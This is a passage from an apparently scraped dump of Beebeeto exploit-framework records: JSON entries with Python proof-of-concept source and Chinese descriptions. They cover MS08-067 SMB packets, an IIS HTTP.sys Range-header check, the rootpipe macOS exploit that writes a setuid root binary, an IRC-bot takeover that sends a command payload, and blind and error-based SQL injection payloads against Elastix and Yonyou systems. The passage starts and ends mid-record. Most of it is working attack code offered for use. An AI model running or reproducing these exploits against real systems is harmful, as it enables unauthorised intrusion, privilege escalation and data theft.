poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0085',\r\n 'name': 'MS08-067 NetAPI32.dll \u8fdc\u7a0b\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e(CVE-2008-4250) POC',\r\n 'author': 'tmp',\r\n 'create_date': '2015-04-18',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'SMB',\r\n 'port': [445],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Windows',\r\n 'vul_version': ['*'],\r\n 'type': 'Buffer Overflow',\r\n 'tag': ['Windows\u6f0f\u6d1e', 'NetAPI32.dll\u6f0f\u6d1e', 'CVE-2008-4250', 'ms08-067'],\r\n 'desc': '''\r\n MS08-067\u6f0f\u6d1e\u7684\u5168\u79f0\u4e3a\u201cWindows Server\u670d\u52a1RPC\u8bf7\u6c42\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u201d\uff0c\u5982\u679c\u7528\u6237\u5728\u53d7\u5f71\u54cd\u7684\u7cfb\u7edf\u4e0a\u6536\u5230\u7279\u5236\u7684 RPC\r\n \u8bf7\u6c42\uff0c\u5219\u8be5\u6f0f\u6d1e\u53ef\u80fd\u5141\u8bb8\u8fdc\u7a0b\u6267\u884c\u4ee3\u7801\u3002 \u5728 Microsoft Windows 2000\u3001Windows XP \u548c Windows Server 2003 \u7cfb\u7edf\u4e0a\uff0c\r\n \u653b\u51fb\u8005\u53ef\u80fd\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u5373\u53ef\u5229\u7528\u6b64\u6f0f\u6d1e\u8fd0\u884c\u4efb\u610f\u4ee3\u7801\uff0c\u6b64\u6f0f\u6d1e\u53ef\u7528\u4e8e\u8fdb\u884c\u8815\u866b\u653b\u51fb\u3002\r\n -----\r\n This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service.\r\n This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to\r\n prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to\r\n handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This\r\n is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in\r\n development.\r\n ''',\r\n 'references': ['https://labs.portcullis.co.uk/tools/ms08-067-check/',\r\n 'https://technet.microsoft.com/en-us/library/security/ms08-067.aspx'],\r\n },\r\n }\r\n\r\n\r\n def _init_user_parser(self): # \u5b9a\u5236\u547d\u4ee4\u884c\u53c2\u6570\r\n self.user_parser.add_option('-p','--port',\r\n action='store', dest='port', type=int, default=445,\r\n help='request port.')\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n ip = http.transform_target_ip(http.normalize_url(args['options']['target']))\r\n port = args['options']['port']\r\n payload = [\r\n ('00000045ff534d427200000000000008000000000000000000000000ffff00000000000000220'\r\n '0024e54204c4d20302e31320002534d4220322e3030320002534d4220322e3f3f3f00').decode('hex'),\r\n ('00000088ff534d427300000000080048000000000000000000000000ffffc42b000000000cff0'\r\n '0000000f0020001000000000042000000000044c000804d00604006062b0601050502a0363034'\r\n 'a00e300c060a2b06010401823702020aa22204204e544c4d5353500001000000050288a000000'\r\n '000000000000000000000000000556e69780053616d626100').decode('hex'),\r\n ('00000096ff534d427300000000080048000000000000000000000000ffffc42b010800000cff0'\r\n '0000000f0020001000000000050000000000044c000805b00a14e304ca24a04484e544c4d5353'\r\n '50000300000000000000480000000000000048000000000000004000000000000000400000000'\r\n '8000800400000000000000048000000050288a04e0055004c004c00556e69780053616d626100').decode('hex'),\r\n '00000047ff534d427500000000080048000000000000000000000000ffffc42b0108000004ff000000000001001c0000'.decode('hex'),\r\n ('0000005cff534d42a2000000001801480000000000000000000000000108c42b0108000018ff0'\r\n '00000000800160000000000000003000000000000000000000080000000010000000100000040'\r\n '000000020000000009005c62726f7773657200').decode('hex'),\r\n ('00000092ff534d4225000000000801480000000000000000000000000108c42b0108000010000'\r\n '048000004e0ff0000000000000000000000004a0048004a000200260000404f005c504950455c'\r\n '0005000b03100000004800000001000000b810b810000000000100000000000100c84f324b701'\r\n '6d30112785a47bf6ee18803000000045d888aeb1cc9119fe808002b10486002000000').decode('hex'),\r\n ('000000beff534d4225000000000801480000000000000000000000000108c42b0108000010000'\r\n '074000004e0ff0000000000000000000000004a0074004a000200260000407b005c504950455c'\r\n '00050000031000000074000000010000000000000000002000000002000100000000000000010'\r\n '000000000aaaa0e000000000000000e0000005c00410041004100410041005c002e002e005c00'\r\n '46004200560000000500000000000000050000005c004600420056000000aaaa0100000000000000').decode('hex'),\r\n ]\r\n\r\n def setuserid(userid,data):\r\n return data[:32]+userid+data[34:]\r\n def settreeid(treeid,data):\r\n return data[:28]+treeid+data[30:]\r\n def setfid(fid,data):\r\n return data[:67]+fid+data[69:]\r\n if args['options']['verbose']:\r\n print '[*] Connect {}:{}'.format(ip,port)\r\n s = socket.socket()\r\n s.connect((ip,port))\r\n s.send(payload[0])\r\n s.recv(1024)\r\n s.send(payload[1])\r\n data = s.recv(1024)\r\n userid = data[32:34]\r\n s.send(setuserid(userid,payload[2]))\r\n s.recv(1024)\r\n data = setuserid(userid,payload[3])\r\n path = '\\\\\\\\%s\\\\IPC$\\x00' % ip\r\n path = path + (26-len(path))*'\\x3f'+'\\x00'\r\n data = data + path\r\n s.send(data)\r\n data = s.recv(1024)\r\n tid = data[28:30]\r\n s.send(settreeid(tid,setuserid(userid,payload[4])))\r\n data = s.recv(1024)\r\n fid = data[42:44]\r\n s.send(setfid(fid,settreeid(tid,setuserid(userid,payload[5]))))\r\n s.recv(1024)\r\n s.send(setfid(fid,settreeid(tid,setuserid(userid,payload[6]))))\r\n data = s.recv(1024)\r\n if data[9:13]=='\\x00'*4:\r\n print \"[+] Looks Vulnerability!\"\r\n args['success'] = True\r\n args['poc_ret']['vulnerability'] = '%s:%d' % (ip, port)\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "MS08-067\u6f0f\u6d1e\u7684\u5168\u79f0\u4e3a\u201cWindows Server\u670d\u52a1RPC\u8bf7\u6c42\u7f13\u51b2\u533a\u6ea2\u51fa\u6f0f\u6d1e\u201d\uff0c\u5982\u679c\u7528\u6237\u5728\u53d7\u5f71\u54cd\u7684\u7cfb\u7edf\u4e0a\u6536\u5230\u7279\u5236\u7684 RPC\r\n\u8bf7\u6c42\uff0c\u5219\u8be5\u6f0f\u6d1e\u53ef\u80fd\u5141\u8bb8\u8fdc\u7a0b\u6267\u884c\u4ee3\u7801\u3002 \u5728 Microsoft Windows 2000\u3001Windows XP \u548c Windows Server 2003 \u7cfb\u7edf\u4e0a\uff0c\r\n\u653b\u51fb\u8005\u53ef\u80fd\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u5373\u53ef\u5229\u7528\u6b64\u6f0f\u6d1e\u8fd0\u884c\u4efb\u610f\u4ee3\u7801\uff0c\u6b64\u6f0f\u6d1e\u53ef\u7528\u4e8e\u8fdb\u884c\u8815\u866b\u653b\u51fb\u3002\r\n-----\r\nThis module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service.\r\nThis module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to\r\nprevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to\r\nhandle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This\r\nis just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in\r\ndevelopment.", "app_name": "Windows", "id": "poc-2015-0085", "layer4_protocol": null} +{"create_date": "2015-04-15 16:31:02", "name": "IIS HTTP.sys \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2015-1635) POC", "level": "\u9ad8\u5371", "batchable": 1, "author": "user1018", "rank": 6, "port": null, "vul_type": "\u4ee3\u7801\u6267\u884c", "tag": "IIS\u6f0f\u6d1e,HTTP.sys\u6f0f\u6d1e,CVE-2015-1635,ms15-034", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport socket\r\nimport random\r\nimport urlparse\r\n\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0081',\r\n 'name': 'IIS HTTP.sys \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2015-1635) POC',\r\n 'author': 'user1018',\r\n 'create_date': '2015-04-15',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'IIS',\r\n 'vul_version': ['>7.0'],\r\n 'type': 'Code Execution',\r\n 'tag': ['IIS\u6f0f\u6d1e', 'HTTP.sys\u6f0f\u6d1e', 'CVE-2015-1635', 'ms15-034'],\r\n 'desc': '''\r\n \u5f71\u54cd\u8303\u56f4:\r\n Windows7\r\n Windows8\r\n Windows server 2008\r\n Windows server 2012\r\n \u8fdc\u7a0b\u6267\u884c\u4ee3\u7801\u6f0f\u6d1e\u5b58\u5728\u4e8e HTTP \u534f\u8bae\u5806\u6808 (HTTP.sys) \u4e2d\uff0c\u5f53 HTTP.sys \u672a\u6b63\u786e\u5206\u6790\u7ecf\u7279\u6b8a\u8bbe\u8ba1\u7684 HTTP \u8bf7\u6c42\r\n \u65f6\u4f1a\u5bfc\u81f4\u6b64\u6f0f\u6d1e\u3002 \u6210\u529f\u5229\u7528\u6b64\u6f0f\u6d1e\u7684\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u7cfb\u7edf\u5e10\u6237\u7684\u4e0a\u4e0b\u6587\u4e2d\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002\r\n\r\n \u82e5\u8981\u5229\u7528\u6b64\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u5fc5\u987b\u5c06\u7ecf\u7279\u6b8a\u8bbe\u8ba1\u7684 HTTP \u8bf7\u6c42\u53d1\u9001\u5230\u53d7\u5f71\u54cd\u7684\u7cfb\u7edf\u3002 \u901a\u8fc7\u4fee\u6539 Windows HTTP \u5806\u6808\u5904\u7406\r\n \u8bf7\u6c42\u7684\u65b9\u5f0f\uff0c\u5b89\u88c5\u66f4\u65b0\u53ef\u4ee5\u4fee\u590d\u6b64\u6f0f\u6d1e\u3002\r\n ''',\r\n 'references': ['https://technet.microsoft.com/zh-CN/library/security/ms15-034.aspx',\r\n 'http://bobao.360.cn/news/detail/1435.html'],\r\n },\r\n }\r\n\r\n\r\n def _init_user_parser(self): # \u5b9a\u5236\u547d\u4ee4\u884c\u53c2\u6570\r\n self.user_parser.add_option('-p','--port',\r\n action='store', dest='port', type=int, default=80,\r\n help='request port.')\r\n self.user_parser.add_option('--timeout',\r\n action='store', dest='timeout', type=int, default=5,\r\n help='request timeout.')\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n target = args['options']['target']\r\n port = args['options']['port']\r\n timeout = args['options']['timeout']\r\n if urlparse.urlparse(target).netloc == '':\r\n target = urlparse.urlparse(target).path\r\n else:\r\n target = socket.gethostbyname(urlparse.urlparse(target).netloc)\r\n \r\n headers = {\r\n 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',\r\n }\r\n \r\n if port == 443:\r\n url = 'https://%s:%d' % (target, port)\r\n else:\r\n url = 'http://%s:%d' % (target, port)\r\n r = requests.get(url, verify=False, headers=headers, timeout=timeout)\r\n if not r.headers.get('server') or \"Microsoft\" not in r.headers.get('server'):\r\n args['poc_ret']['error'] = '[-] Not IIS'\r\n return args\r\n\r\n hexAllFfff = '18446744073709551615'\r\n headers.update({\r\n 'Host': 'stuff',\r\n 'Range': 'bytes=0-' + hexAllFfff,\r\n })\r\n r = requests.get(url, verify=False, headers=headers, timeout=timeout)\r\n if \"Requested Range Not Satisfiable\" in r.content:\r\n print \"[+] Looks Vulnerability!\"\r\n args['success'] = True\r\n args['poc_ret']['vulnerability'] = '%s:%d' % (target, port)\r\n elif \"The request has an invalid header name\" in r.content:\r\n args['poc_ret']['error'] = \"[-] Looks Patched\"\r\n else:\r\n args['poc_ret']['error'] = \"[-] Unexpected response, cannot discern patch status\"\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "\u5f71\u54cd\u8303\u56f4:\r\n Windows7\r\n Windows8\r\n Windows server 2008\r\n Windows server 2012\r\n\u8fdc\u7a0b\u6267\u884c\u4ee3\u7801\u6f0f\u6d1e\u5b58\u5728\u4e8e HTTP \u534f\u8bae\u5806\u6808 (HTTP.sys) \u4e2d\uff0c\u5f53 HTTP.sys \u672a\u6b63\u786e\u5206\u6790\u7ecf\u7279\u6b8a\u8bbe\u8ba1\u7684 HTTP \u8bf7\u6c42\r\n\u65f6\u4f1a\u5bfc\u81f4\u6b64\u6f0f\u6d1e\u3002 \u6210\u529f\u5229\u7528\u6b64\u6f0f\u6d1e\u7684\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u7cfb\u7edf\u5e10\u6237\u7684\u4e0a\u4e0b\u6587\u4e2d\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002\r\n\r\n\u82e5\u8981\u5229\u7528\u6b64\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u5fc5\u987b\u5c06\u7ecf\u7279\u6b8a\u8bbe\u8ba1\u7684 HTTP \u8bf7\u6c42\u53d1\u9001\u5230\u53d7\u5f71\u54cd\u7684\u7cfb\u7edf\u3002 \u901a\u8fc7\u4fee\u6539 Windows HTTP \u5806\u6808\u5904\u7406\r\n\u8bf7\u6c42\u7684\u65b9\u5f0f\uff0c\u5b89\u88c5\u66f4\u65b0\u53ef\u4ee5\u4fee\u590d\u6b64\u6f0f\u6d1e\u3002", "app_name": "IIS", "id": "poc-2015-0081", "layer4_protocol": null} +{"create_date": "2015-04-10 11:45:23", "name": "Mac OS X rootpipe \u672c\u5730\u6743\u9650\u63d0\u5347\u6f0f\u6d1e (CVE-2015-1130) Exploit", "level": "\u9ad8\u5371", "batchable": 0, "author": "\u96f7\u8702", "rank": 5, "port": null, "vul_type": "\u5176\u4ed6\u7c7b\u578b", "tag": "Mac OS X \u63d0\u6743\u6f0f\u6d1e,Mac OS X rootpipe Local Privilege Escalation Vulnerability,CVE-2015-1130", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport os\r\nimport objc\r\nimport ctypes\r\nimport platform\r\n\r\nfrom Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions\r\nfrom Foundation import NSAutoreleasePool\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0079',\r\n 'name': 'Mac OS X rootpipe \u672c\u5730\u6743\u9650\u63d0\u5347\u6f0f\u6d1e (CVE-2015-1130) Exploit',\r\n 'author': 'Emil Kvarnhammar',\r\n 'create_date': '2015-04-10',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'local',\r\n 'port': [0],\r\n 'layer4_protocol': [],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Mac OS X',\r\n 'vul_version': ['10.7.5', '10.8.2', '10.9.5', '10.10.2'],\r\n 'type': 'Other',\r\n 'tag': ['Mac OS X \u63d0\u6743\u6f0f\u6d1e', 'Mac OS X rootpipe Local Privilege Escalation Vulnerability',\r\n 'CVE-2015-1130',],\r\n 'desc': '''\r\n PoC exploit code for rootpipe (CVE-2015-1130)\r\n Created by Emil Kvarnhammar, TrueSec\r\n Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2\r\n # Usage: python exploit.py -t bashtest -d bashroot\r\n ''',\r\n 'references': [\r\n 'http://www.exploit-db.com/exploits/36692/',\r\n 'http://drops.wooyun.org/tips/5566',\r\n ],\r\n },\r\n }\r\n\r\n def _init_user_parser(self): # \u5b9a\u5236\u547d\u4ee4\u884c\u53c2\u6570\r\n self.user_parser.add_option('-d','--dest_binary',\r\n action='store', dest='dest_binary', type='string', default=None,\r\n help='dest_binary')\r\n\r\n\r\n @staticmethod\r\n def load_lib(append_path):\r\n return ctypes.cdll.LoadLibrary(\"/System/Library/PrivateFrameworks/\" + append_path);\r\n\r\n @staticmethod\r\n def use_old_api():\r\n return re.match(\"^(10.7|10.8)(.\\d)?$\", platform.mac_ver()[0])\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n source_binary = args['options']['target']\r\n dest_binary = os.path.realpath(args['options']['dest_binary'])\r\n\r\n if not os.path.exists(source_binary):\r\n raise Exception(\"file does not exist!\")\r\n\r\n pool = NSAutoreleasePool.alloc().init()\r\n\r\n attr = NSMutableDictionary.alloc().init()\r\n attr.setValue_forKey_(04777, NSFilePosixPermissions)\r\n data = NSData.alloc().initWithContentsOfFile_(source_binary)\r\n\r\n print \"[*] will write file\", dest_binary\r\n\r\n if cls.use_old_api():\r\n adm_lib = cls.load_lib(\"/Admin.framework/Admin\")\r\n Authenticator = objc.lookUpClass(\"Authenticator\")\r\n ToolLiaison = objc.lookUpClass(\"ToolLiaison\")\r\n SFAuthorization = objc.lookUpClass(\"SFAuthorization\")\r\n\r\n authent = Authenticator.sharedAuthenticator()\r\n authref = SFAuthorization.authorization()\r\n\r\n # authref with value nil is not accepted on OS X <= 10.8\r\n authent.authenticateUsingAuthorizationSync_(authref)\r\n st = ToolLiaison.sharedToolLiaison()\r\n tool = st.tool()\r\n tool.createFileWithContents_path_attributes_(data, dest_binary, attr)\r\n else:\r\n adm_lib = cls.load_lib(\"/SystemAdministration.framework/SystemAdministration\")\r\n WriteConfigClient = objc.lookUpClass(\"WriteConfigClient\")\r\n client = WriteConfigClient.sharedClient()\r\n client.authenticateUsingAuthorizationSync_(None)\r\n tool = client.remoteProxy()\r\n\r\n tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)\r\n\r\n print \"[+] Done!\"\r\n del pool\r\n args['success'] = True\r\n args['poc_ret']['dest_binary'] = dest_binary\r\n return args\r\n\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "PoC exploit code for rootpipe (CVE-2015-1130)\r\nCreated by Emil Kvarnhammar, TrueSec\r\nTested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2\r\n# Usage: python exploit.py -t bashtest -d bashroot", "app_name": "Mac OS", "id": "poc-2015-0079", "layer4_protocol": null} +{"create_date": "2015-04-07 10:25:59", "name": "w3tw0rk / Pitbull Perl IRC Bot \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e Exploit", "level": "\u9ad8\u5371", "batchable": 0, "author": "foundu", "rank": 4, "port": null, "vul_type": "\u4ee3\u7801\u6267\u884c", "tag": "w3tw0rk / Pitbull Perl IRC Bot \u6f0f\u6d1e,w3tw0rk / Pitbull Perl IRC Bot Vulnerability", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport socket\r\nimport urllib2\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0077',\r\n 'name': 'w3tw0rk / Pitbull Perl IRC Bot \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e Exploit',\r\n 'author': 'foundu',\r\n 'create_date': '2015-04-07',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [6667],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'w3tw0rk / Pitbull Perl IRC',\r\n 'vul_version': ['*'],\r\n 'type': 'Code Execution',\r\n 'tag': ['w3tw0rk / Pitbull Perl IRC Bot \u6f0f\u6d1e', 'w3tw0rk / Pitbull Perl IRC Bot Vulnerability'],\r\n 'desc': '''\r\n pitbull-w3tw0rk_hunter is POC exploit for Pitbull or w3tw0rk IRC Bot\r\n that takes over the owner of a bot which then allows Remote Code Execution.\r\n ''',\r\n 'references': ['http://www.exploit-db.com/exploits/36652/',\r\n ],\r\n },\r\n }\r\n\r\n def _init_user_parser(self): # \u5b9a\u5236\u547d\u4ee4\u884c\u53c2\u6570\r\n self.user_parser.add_option('-c','--channel',\r\n action='store', dest='channel', type='string', default=None,\r\n help='IRC channel')\r\n self.user_parser.add_option('-n','--nick',\r\n action='store', dest='nick', type='string', default='beebeeto',\r\n help='IRC nick')\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n #irc server connection settings\r\n server = args['options']['target'] # IRC Server\r\n botnick = args['options']['nick'] # admin payload for taking over the w3wt0rk bot\r\n channel = \"#%s\"%args['options']['channel'] #channel where the bot is located\r\n\r\n irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socket\r\n print \"connecting to: \" + server\r\n irc.connect((server, 6667)) #connects to the server\r\n irc.send(\"USER \"+ botnick +\" \"+ botnick +\" \"+ botnick +\" :I eat w3tw0rk bots!\\n\") #user authentication\r\n irc.send(\"NICK \"+ botnick +\"\\n\") #sets nick\r\n irc.send(\"JOIN \"+ channel +\"\\n\") #join the chan\r\n irc.send(\"PRIVMSG \"+channel+\" :!bot @system 'uname -a' \\n\") #send the payload to the bot\r\n\r\n #puts it in a loop\r\n while True:\r\n text = irc.recv(2040)\r\n print text #print text to console\r\n if text.find('PING') != -1: #check if 'PING' is found\r\n irc.send('PONG ' + text.split() [1] + '\\r\\n') #returnes 'PONG' back to the server (prevents pinging out!)\r\n if text.find('!quit') != -1: #quit the Bot\r\n irc.send (\"QUIT\\r\\n\") \r\n return args\r\n if text.find('Linux') != -1: \r\n irc.send(\"PRIVMSG \"+channel+\" :The bot answers to \"+botnick+\" which allows command execution \\r\\n\")\r\n irc.send (\"QUIT\\r\\n\")\r\n args['success'] = True\r\n return args\r\n return args\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "pitbull-w3tw0rk_hunter is POC exploit for Pitbull or w3tw0rk IRC Bot\r\nthat takes over the owner of a bot which then allows Remote Code Execution.", "app_name": "Other", "id": "poc-2015-0077", "layer4_protocol": null} +{"create_date": "2015-04-06 16:28:12", "name": "Elastix 2.x /a2billing/customer/iridium_threed.php BLIND SQL\u6ce8\u5165\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 0, "author": "Ca2fux1n", "rank": 3, "port": null, "vul_type": "SQL\u6ce8\u5165", "tag": "Elastix\u6f0f\u6d1e,SQL\u6ce8\u5165\u6f0f\u6d1e,/iridium_threed.php,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport time\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0076',\r\n 'name': 'Elastix 2.x /a2billing/customer/iridium_threed.php BLIND SQL\u6ce8\u5165\u6f0f\u6d1e POC',\r\n 'author': 'ca2fux1n',\r\n 'create_date': '2015-03-15',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Elastix',\r\n 'vul_version': ['2.x'],\r\n 'type': 'SQL Injection',\r\n 'tag': ['Elastix\u6f0f\u6d1e', 'SQL\u6ce8\u5165\u6f0f\u6d1e', '/iridium_threed.php', 'php'],\r\n 'desc': '''\r\n Vulnerable Source Code snippet in \"a2billing/customer/iridium_threed.php\"\r\n ''',\r\n 'references': ['http://www.exploit-db.com/exploits/36305/',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n verify_url = args['options']['target'] + '/a2billing/customer/iridium_threed.php'\r\n payload = '?transactionID=-1 and 1=benchmark(2000000,md5(1))'\r\n start_time = time.time()\r\n if args['options']['verbose']:\r\n print '[+] Requset:' + verify_url\r\n print '[+] Payload:' + payload\r\n req = requests.get(verify_url + payload)\r\n if req.status_code == 200 and time.time() - start_time > 5:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url + paylaod\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == \"__main__\":\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "Vulnerable Source Code snippet in \"a2billing/customer/iridium_threed.php\"", "app_name": "Other", "id": "poc-2015-0076", "layer4_protocol": null} +{"create_date": "2015-04-01 14:13:19", "name": "\u7528\u53cbNC-IUFO\u7cfb\u7edf /epp/detail/publishinfodetail.jsp SQL\u6ce8\u5165\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, "author": "Ca2fux1n", "rank": 3, "port": null, "vul_type": "SQL\u6ce8\u5165", "tag": "\u7528\u53cbNC-IUFO\u6f0f\u6d1e,/epp/detail/publishinfodetail.jsp,SQL Injection,JSP", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0075',\r\n 'name': '\u7528\u53cbNC-IUFO\u7cfb\u7edf /epp/detail/publishinfodetail.jsp SQL\u6ce8\u5165\u6f0f\u6d1e POC',\r\n 'author': 'ca2fux1n',\r\n 'create_date': '2015-03-31',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': '\u7528\u53cbNC-IUFO',\r\n 'vul_version': ['*'],\r\n 'type': 'SQL Injection',\r\n 'tag': ['\u7528\u53cbNC-IUFO\u6f0f\u6d1e', '/epp/detail/publishinfodetail.jsp', 'SQL Injection', 'JSP'],\r\n 'desc': 'param `pk_message` is not filterd',\r\n 'references': ['http://www.wooyun.org/bugs/wooyun-2014-089208'],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n url = args['options']['target']\r\n url = url if url[-1] != '/' else url[:-1]\r\n payload = (\"/epp/detail/publishinfodetail.jsp?pk_message=1002F410000000019JNX%27%20\"\r\n \"AND%203814=(SELECT%20UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(99)||\"\r\n \"CHR(122)||CHR(103)||CHR(113)||(SELECT%20(CASE%20WHEN%20(3814=3814)%20THEN\"\r\n \"%201%20ELSE%200%20END)%20FROM%20DUAL)||CHR(113)||CHR(110)||CHR(111)||CHR(105)\"\r\n \"||CHR(113)||CHR(62)))%20FROM%20DUAL)%20AND%20%27vdoA%27=%27vdoA\")\r\n verify_url = url + payload\r\n if args['options']['verbose']:\r\n print '[*] Request URL: %s' % verify_url\r\n req = requests.get(verify_url)\r\n content = req.content\r\n if req.status_code == 500 and 'qczgq1qnoiq' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n exploit = verify\r\n\r\nif __name__ == \"__main__\":\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "param `pk_message` is not filterd", "app_name": "\u7528\u53cb\uff08Yonyou\uff09", "id": "poc-2015-0075", "layer4_protocol": null} +{"create_date": "2015-03-30 17:08:36", "name": "ShopBuilder /?m=product&s=list&ptype SQL\u6ce8\u5165\u6f0f\u6d1e POC", "level": "\u4e2d\u5371", "batchable": 1, 